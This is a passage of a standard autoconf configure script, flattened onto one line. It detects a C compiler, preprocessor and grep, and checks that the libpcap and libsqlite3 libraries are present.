using cross tools not prefixed with host triplet" >&2;} ac_tool_warned=yes ;; esac CC=$ac_ct_CC fi else CC="$ac_cv_prog_CC" fi if test -z "$CC"; then if test -n "$ac_tool_prefix"; then # Extract the first word of "${ac_tool_prefix}cc", so it can be a program name with args. set dummy ${ac_tool_prefix}cc; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if test "${ac_cv_prog_CC+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -n "$CC"; then ac_cv_prog_CC="$CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_CC="${ac_tool_prefix}cc" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi CC=$ac_cv_prog_CC if test -n "$CC"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 $as_echo "$CC" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi fi fi if test -z "$CC"; then # Extract the first word of "cc", so it can be a program name with args. set dummy cc; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if test "${ac_cv_prog_CC+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -n "$CC"; then ac_cv_prog_CC="$CC" # Let the user override the test. else ac_prog_rejected=no as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then if test "$as_dir/$ac_word$ac_exec_ext" = "/usr/ucb/cc"; then ac_prog_rejected=yes continue fi ac_cv_prog_CC="cc" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS if test $ac_prog_rejected = yes; then # We found a bogon in the path, so make sure we never use it. set dummy $ac_cv_prog_CC shift if test $# != 0; then # We chose a different compiler from the bogus one. # However, it has the same basename, so the bogon will be chosen # first if we set CC to just the basename; use the full file name. shift ac_cv_prog_CC="$as_dir/$ac_word${1+' '}$@" fi fi fi fi CC=$ac_cv_prog_CC if test -n "$CC"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 $as_echo "$CC" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi fi if test -z "$CC"; then if test -n "$ac_tool_prefix"; then for ac_prog in cl.exe do # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args. set dummy $ac_tool_prefix$ac_prog; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if test "${ac_cv_prog_CC+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -n "$CC"; then ac_cv_prog_CC="$CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_CC="$ac_tool_prefix$ac_prog" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi CC=$ac_cv_prog_CC if test -n "$CC"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 $as_echo "$CC" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi test -n "$CC" && break done fi if test -z "$CC"; then ac_ct_CC=$CC for ac_prog in cl.exe do # Extract the first word of "$ac_prog", so it can be a program name with args. set dummy $ac_prog; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if test "${ac_cv_prog_ac_ct_CC+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -n "$ac_ct_CC"; then ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then ac_cv_prog_ac_ct_CC="$ac_prog" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi ac_ct_CC=$ac_cv_prog_ac_ct_CC if test -n "$ac_ct_CC"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_CC" >&5 $as_echo "$ac_ct_CC" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi test -n "$ac_ct_CC" && break done if test "x$ac_ct_CC" = x; then CC="" else case $cross_compiling:$ac_tool_warned in yes:) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 $as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} ac_tool_warned=yes ;; esac CC=$ac_ct_CC fi fi fi test -z "$CC" && { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} as_fn_error "no acceptable C compiler found in \$PATH See \`config.log' for more details." "$LINENO" 5; } # Provide some information about the compiler. $as_echo "$as_me:${as_lineno-$LINENO}: checking for C compiler version" >&5 set X $ac_compile ac_compiler=$2 for ac_option in --version -v -V -qversion; do { { ac_try="$ac_compiler $ac_option >&5" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_compiler $ac_option >&5") 2>conftest.err ac_status=$? if test -s conftest.err; then sed '10a\ ... rest of stderr output deleted ... 10q' conftest.err >conftest.er1 cat conftest.er1 >&5 fi rm -f conftest.er1 conftest.err $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } done cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { ; return 0; } _ACEOF ac_clean_files_save=$ac_clean_files ac_clean_files="$ac_clean_files a.out a.out.dSYM a.exe b.out" # Try to create an executable without -o first, disregard a.out. # It will help us diagnose broken compilers, and finding out an intuition # of exeext. { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the C compiler works" >&5 $as_echo_n "checking whether the C compiler works... " >&6; } ac_link_default=`$as_echo "$ac_link" | sed 's/ -o *conftest[^ ]*//'` # The possible output files: ac_files="a.out conftest.exe conftest a.exe a_out.exe b.out conftest.*" ac_rmfiles= for ac_file in $ac_files do case $ac_file in *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM | *.o | *.obj ) ;; * ) ac_rmfiles="$ac_rmfiles $ac_file";; esac done rm -f $ac_rmfiles if { { ac_try="$ac_link_default" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_link_default") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; }; then : # Autoconf-2.13 could set the ac_cv_exeext variable to `no'. # So ignore a value of `no', otherwise this would lead to `EXEEXT = no' # in a Makefile. We should not override ac_cv_exeext if it was cached, # so that the user can short-circuit this test for compilers unknown to # Autoconf. for ac_file in $ac_files '' do test -f "$ac_file" || continue case $ac_file in *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM | *.o | *.obj ) ;; [ab].out ) # We found the default executable, but exeext='' is most # certainly right. break;; *.* ) if test "${ac_cv_exeext+set}" = set && test "$ac_cv_exeext" != no; then :; else ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'` fi # We set ac_cv_exeext here because the later test for it is not # safe: cross compilers may not add the suffix if given an `-o' # argument, so we may need to know it at that point already. # Even if this section looks crufty: it has the advantage of # actually working. break;; * ) break;; esac done test "$ac_cv_exeext" = no && ac_cv_exeext= else ac_file='' fi if test -z "$ac_file"; then : { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } $as_echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} { as_fn_set_status 77 as_fn_error "C compiler cannot create executables See \`config.log' for more details." "$LINENO" 5; }; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5 $as_echo "yes" >&6; } fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for C compiler default output file name" >&5 $as_echo_n "checking for C compiler default output file name... " >&6; } { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_file" >&5 $as_echo "$ac_file" >&6; } ac_exeext=$ac_cv_exeext rm -f -r a.out a.out.dSYM a.exe conftest$ac_cv_exeext b.out ac_clean_files=$ac_clean_files_save { $as_echo "$as_me:${as_lineno-$LINENO}: checking for suffix of executables" >&5 $as_echo_n "checking for suffix of executables... " >&6; } if { { ac_try="$ac_link" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_link") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; }; then : # If both `conftest.exe' and `conftest' are `present' (well, observable) # catch `conftest.exe'. For instance with Cygwin, `ls conftest' will # work properly (i.e., refer to `conftest.exe'), while it won't with # `rm'. for ac_file in conftest.exe conftest conftest.*; do test -f "$ac_file" || continue case $ac_file in *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM | *.o | *.obj ) ;; *.* ) ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'` break;; * ) break;; esac done else { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} as_fn_error "cannot compute suffix of executables: cannot compile and link See \`config.log' for more details." "$LINENO" 5; } fi rm -f conftest conftest$ac_cv_exeext { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_exeext" >&5 $as_echo "$ac_cv_exeext" >&6; } rm -f conftest.$ac_ext EXEEXT=$ac_cv_exeext ac_exeext=$EXEEXT cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include int main () { FILE *f = fopen ("conftest.out", "w"); return ferror (f) || fclose (f) != 0; ; return 0; } _ACEOF ac_clean_files="$ac_clean_files conftest.out" # Check that the compiler produces executables we can run. If not, either # the compiler is broken, or we cross compile. { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether we are cross compiling" >&5 $as_echo_n "checking whether we are cross compiling... " >&6; } if test "$cross_compiling" != yes; then { { ac_try="$ac_link" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_link") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } if { ac_try='./conftest$ac_cv_exeext' { { case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_try") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; }; }; then cross_compiling=no else if test "$cross_compiling" = maybe; then cross_compiling=yes else { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} as_fn_error "cannot run C compiled programs. If you meant to cross compile, use \`--host'. See \`config.log' for more details." "$LINENO" 5; } fi fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $cross_compiling" >&5 $as_echo "$cross_compiling" >&6; } rm -f conftest.$ac_ext conftest$ac_cv_exeext conftest.out ac_clean_files=$ac_clean_files_save { $as_echo "$as_me:${as_lineno-$LINENO}: checking for suffix of object files" >&5 $as_echo_n "checking for suffix of object files... " >&6; } if test "${ac_cv_objext+set}" = set; then : $as_echo_n "(cached) " >&6 else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { ; return 0; } _ACEOF rm -f conftest.o conftest.obj if { { ac_try="$ac_compile" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_compile") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; }; then : for ac_file in conftest.o conftest.obj conftest.*; do test -f "$ac_file" || continue; case $ac_file in *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM ) ;; *) ac_cv_objext=`expr "$ac_file" : '.*\.\(.*\)'` break;; esac done else $as_echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} as_fn_error "cannot compute suffix of object files: cannot compile See \`config.log' for more details." "$LINENO" 5; } fi rm -f conftest.$ac_cv_objext conftest.$ac_ext fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_objext" >&5 $as_echo "$ac_cv_objext" >&6; } OBJEXT=$ac_cv_objext ac_objext=$OBJEXT { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether we are using the GNU C compiler" >&5 $as_echo_n "checking whether we are using the GNU C compiler... " >&6; } if test "${ac_cv_c_compiler_gnu+set}" = set; then : $as_echo_n "(cached) " >&6 else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { #ifndef __GNUC__ choke me #endif ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : ac_compiler_gnu=yes else ac_compiler_gnu=no fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext ac_cv_c_compiler_gnu=$ac_compiler_gnu fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_c_compiler_gnu" >&5 $as_echo "$ac_cv_c_compiler_gnu" >&6; } if test $ac_compiler_gnu = yes; then GCC=yes else GCC= fi ac_test_CFLAGS=${CFLAGS+set} ac_save_CFLAGS=$CFLAGS { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether $CC accepts -g" >&5 $as_echo_n "checking whether $CC accepts -g... " >&6; } if test "${ac_cv_prog_cc_g+set}" = set; then : $as_echo_n "(cached) " >&6 else ac_save_c_werror_flag=$ac_c_werror_flag ac_c_werror_flag=yes ac_cv_prog_cc_g=no CFLAGS="-g" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : ac_cv_prog_cc_g=yes else CFLAGS="" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : else ac_c_werror_flag=$ac_save_c_werror_flag CFLAGS="-g" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { ; return 0; } _ACEOF if ac_fn_c_try_compile "$LINENO"; then : ac_cv_prog_cc_g=yes fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext ac_c_werror_flag=$ac_save_c_werror_flag fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_g" >&5 $as_echo "$ac_cv_prog_cc_g" >&6; } if test "$ac_test_CFLAGS" = set; then CFLAGS=$ac_save_CFLAGS elif test $ac_cv_prog_cc_g = yes; then if test "$GCC" = yes; then CFLAGS="-g -O2" else CFLAGS="-g" fi else if test "$GCC" = yes; then CFLAGS="-O2" else CFLAGS= fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $CC option to accept ISO C89" >&5 $as_echo_n "checking for $CC option to accept ISO C89... " >&6; } if test "${ac_cv_prog_cc_c89+set}" = set; then : $as_echo_n "(cached) " >&6 else ac_cv_prog_cc_c89=no ac_save_CC=$CC cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include #include #include #include /* Most of the following tests are stolen from RCS 5.7's src/conf.sh. */ struct buf { int x; }; FILE * (*rcsopen) (struct buf *, struct stat *, int); static char *e (p, i) char **p; int i; { return p[i]; } static char *f (char * (*g) (char **, int), char **p, ...) { char *s; va_list v; va_start (v,p); s = g (p, va_arg (v,int)); va_end (v); return s; } /* OSF 4.0 Compaq cc is some sort of almost-ANSI by default. It has function prototypes and stuff, but not '\xHH' hex character constants. These don't provoke an error unfortunately, instead are silently treated as 'x'. The following induces an error, until -std is added to get proper ANSI mode. Curiously '\x00'!='x' always comes out true, for an array size at least. It's necessary to write '\x00'==0 to get something that's true only with -std. */ int osf4_cc_array ['\x00' == 0 ? 1 : -1]; /* IBM C 6 for AIX is almost-ANSI by default, but it replaces macro parameters inside strings and character constants. */ #define FOO(x) 'x' int xlc6_cc_array[FOO(a) == 'x' ? 1 : -1]; int test (int i, double x); struct s1 {int (*f) (int a);}; struct s2 {int (*f) (double a);}; int pairnames (int, char **, FILE *(*)(struct buf *, struct stat *, int), int, int); int argc; char **argv; int main () { return f (e, argv, 0) != argv[0] || f (e, argv, 1) != argv[1]; ; return 0; } _ACEOF for ac_arg in '' -qlanglvl=extc89 -qlanglvl=ansi -std \ -Ae "-Aa -D_HPUX_SOURCE" "-Xc -D__EXTENSIONS__" do CC="$ac_save_CC $ac_arg" if ac_fn_c_try_compile "$LINENO"; then : ac_cv_prog_cc_c89=$ac_arg fi rm -f core conftest.err conftest.$ac_objext test "x$ac_cv_prog_cc_c89" != "xno" && break done rm -f conftest.$ac_ext CC=$ac_save_CC fi # AC_CACHE_VAL case "x$ac_cv_prog_cc_c89" in x) { $as_echo "$as_me:${as_lineno-$LINENO}: result: none needed" >&5 $as_echo "none needed" >&6; } ;; xno) { $as_echo "$as_me:${as_lineno-$LINENO}: result: unsupported" >&5 $as_echo "unsupported" >&6; } ;; *) CC="$CC $ac_cv_prog_cc_c89" { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_c89" >&5 $as_echo "$ac_cv_prog_cc_c89" >&6; } ;; esac if test "x$ac_cv_prog_cc_c89" != xno; then : fi ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu CFLAGS="-Wall $CFLAGS" LDFLAGS="-ldl -lm -lpcap -lsqlite3 $LDFLAGS" { $as_echo "$as_me:${as_lineno-$LINENO}: checking for pcap_open_live in -lpcap" >&5 $as_echo_n "checking for pcap_open_live in -lpcap... " >&6; } if test "${ac_cv_lib_pcap_pcap_open_live+set}" = set; then : $as_echo_n "(cached) " >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-lpcap $LIBS" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ /* Override any GCC internal prototype to avoid an error. Use char because int might match the return type of a GCC builtin and then its argument prototype would still apply. */ #ifdef __cplusplus extern "C" #endif char pcap_open_live (); int main () { return pcap_open_live (); ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : ac_cv_lib_pcap_pcap_open_live=yes else ac_cv_lib_pcap_pcap_open_live=no fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_pcap_pcap_open_live" >&5 $as_echo "$ac_cv_lib_pcap_pcap_open_live" >&6; } if test "x$ac_cv_lib_pcap_pcap_open_live" = x""yes; then : cat >>confdefs.h <<_ACEOF #define HAVE_LIBPCAP 1 _ACEOF LIBS="-lpcap $LIBS" else echo "error: pcap library not found!"; exit -1 fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for sqlite3_open in -lsqlite3" >&5 $as_echo_n "checking for sqlite3_open in -lsqlite3... " >&6; } if test "${ac_cv_lib_sqlite3_sqlite3_open+set}" = set; then : $as_echo_n "(cached) " >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-lsqlite3 $LIBS" cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ /* Override any GCC internal prototype to avoid an error. Use char because int might match the return type of a GCC builtin and then its argument prototype would still apply. */ #ifdef __cplusplus extern "C" #endif char sqlite3_open (); int main () { return sqlite3_open (); ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : ac_cv_lib_sqlite3_sqlite3_open=yes else ac_cv_lib_sqlite3_sqlite3_open=no fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_sqlite3_sqlite3_open" >&5 $as_echo "$ac_cv_lib_sqlite3_sqlite3_open" >&6; } if test "x$ac_cv_lib_sqlite3_sqlite3_open" = x""yes; then : cat >>confdefs.h <<_ACEOF #define HAVE_LIBSQLITE3 1 _ACEOF LIBS="-lsqlite3 $LIBS" else echo "error: sqlite3 library not found!"; exit -1 fi ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to run the C preprocessor" >&5 $as_echo_n "checking how to run the C preprocessor... " >&6; } # On Suns, sometimes $CPP names a directory. if test -n "$CPP" && test -d "$CPP"; then CPP= fi if test -z "$CPP"; then if test "${ac_cv_prog_CPP+set}" = set; then : $as_echo_n "(cached) " >&6 else # Double quotes because CPP needs to be expanded for CPP in "$CC -E" "$CC -E -traditional-cpp" "/lib/cpp" do ac_preproc_ok=false for ac_c_preproc_warn_flag in '' yes do # Use a header file that comes with gcc, so configuring glibc # with a fresh cross-compiler works. # Prefer to if __STDC__ is defined, since # exists even on freestanding compilers. # On the NeXT, cc -E runs the code through the compiler's parser, # not just through cpp. "Syntax error" is here to catch this case. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #ifdef __STDC__ # include #else # include #endif Syntax error _ACEOF if ac_fn_c_try_cpp "$LINENO"; then : else # Broken: fails on valid input. continue fi rm -f conftest.err conftest.$ac_ext # OK, works on sane cases. Now check whether nonexistent headers # can be detected and how. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include _ACEOF if ac_fn_c_try_cpp "$LINENO"; then : # Broken: success on invalid input. continue else # Passes both tests. ac_preproc_ok=: break fi rm -f conftest.err conftest.$ac_ext done # Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. rm -f conftest.err conftest.$ac_ext if $ac_preproc_ok; then : break fi done ac_cv_prog_CPP=$CPP fi CPP=$ac_cv_prog_CPP else ac_cv_prog_CPP=$CPP fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $CPP" >&5 $as_echo "$CPP" >&6; } ac_preproc_ok=false for ac_c_preproc_warn_flag in '' yes do # Use a header file that comes with gcc, so configuring glibc # with a fresh cross-compiler works. # Prefer to if __STDC__ is defined, since # exists even on freestanding compilers. # On the NeXT, cc -E runs the code through the compiler's parser, # not just through cpp. "Syntax error" is here to catch this case. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #ifdef __STDC__ # include #else # include #endif Syntax error _ACEOF if ac_fn_c_try_cpp "$LINENO"; then : else # Broken: fails on valid input. continue fi rm -f conftest.err conftest.$ac_ext # OK, works on sane cases. Now check whether nonexistent headers # can be detected and how. cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include _ACEOF if ac_fn_c_try_cpp "$LINENO"; then : # Broken: success on invalid input. continue else # Passes both tests. ac_preproc_ok=: break fi rm -f conftest.err conftest.$ac_ext done # Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. rm -f conftest.err conftest.$ac_ext if $ac_preproc_ok; then : else { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} as_fn_error "C preprocessor \"$CPP\" fails sanity check See \`config.log' for more details." "$LINENO" 5; } fi ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu { $as_echo "$as_me:${as_lineno-$LINENO}: checking for grep that handles long lines and -e" >&5 $as_echo_n "checking for grep that handles long lines and -e... " >&6; } if test "${ac_cv_path_GREP+set}" = set; then : $as_echo_n "(cached) " >&6 else if test -z "$GREP"; then ac_path_GREP_found=false # Loop through the user's path and test for each of PROGNAME-LIST as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH$PATH_SEPARATOR/usr/xpg4/bin do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_prog in grep ggrep; do for ac_exec_ext in '' $ac_executable_extensions; do ac_path_GREP="$as_dir/$ac_prog$ac_exec_ext" { test -f "$ac_path_GREP" && $as_test_x "$ac_path_GREP"; } || continue # Check for GNU ac_path_GREP and select it if it is found. # Check for GNU $ac_path_GREP case `"$ac_path_GREP" --version 2>&1` in *GNU*) ac_cv_path_GREP="$ac_path_GREP" ac_path_GREP_found=:;; *) ac_count=0 $as_echo_n 0123456789 >"conftest.in" while : do cat "conftest.in" "conftest.in" >"conftest.tmp" mv "conftest.tmp" "conftest.in" cp "conftest.in" "conftest.nl" $as_echo 'GREP' >> "conftest.nl" "$ac_path_GREP" -e 'GREP$' -e '-(cannot match)-' < "conftest.nl" >"conftest.out" 2>/dev/null || break diff "conftest.out" "conftest.nl" >/dev/null 2>&1 || break as_fn_arith $ac_count + 1 && ac_count=$as_val if test $ac_count -gt ${ac_path_GREP_max-0}; then # Best one so far, save it but keep looking for a better one ac_cv_path_GREP="$ac_path_GREP" ac_path_GREP_max=$ac_count fi # 10*(2^10) chars as input seems more than enough test $ac_count -gt 10 && break done rm -f conftest.in conftest.tmp conftest.nl conftest.out;; esac $ac_path_GREP_found && break 3 done done done IFS=$as_save_IFS if test -z "$ac_cv_path_GREP"; then as_fn_error "no acceptable grep could be found in $PATH$PATH_SEPARATOR/usr/xpg4/bin" "$LINENO" 5 fi else ac_cv_path_GREP=$GREP fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_path_GREP" >&5 $as_echo "$ac_cv_path_GREP" >&6; } GREP="$ac_cv_path_GREP" { $as_echo "$as_me:${as_lineno-$LINENO}: checking for egrep" >&5 $as_echo_n "checking for egrep... " >&6; } if test "${ac_cv_path_EGREP+set}" = set; then : $as_echo_n "(cached) " >&6 else if echo a | $GREP -E '(a|b)' >/dev/null 2>&1 then ac_cv_path_EGREP="$GREP -E" else if test -z "$EGREP"; then ac_path_EGREP_found=false # Loop through the user's path and test for 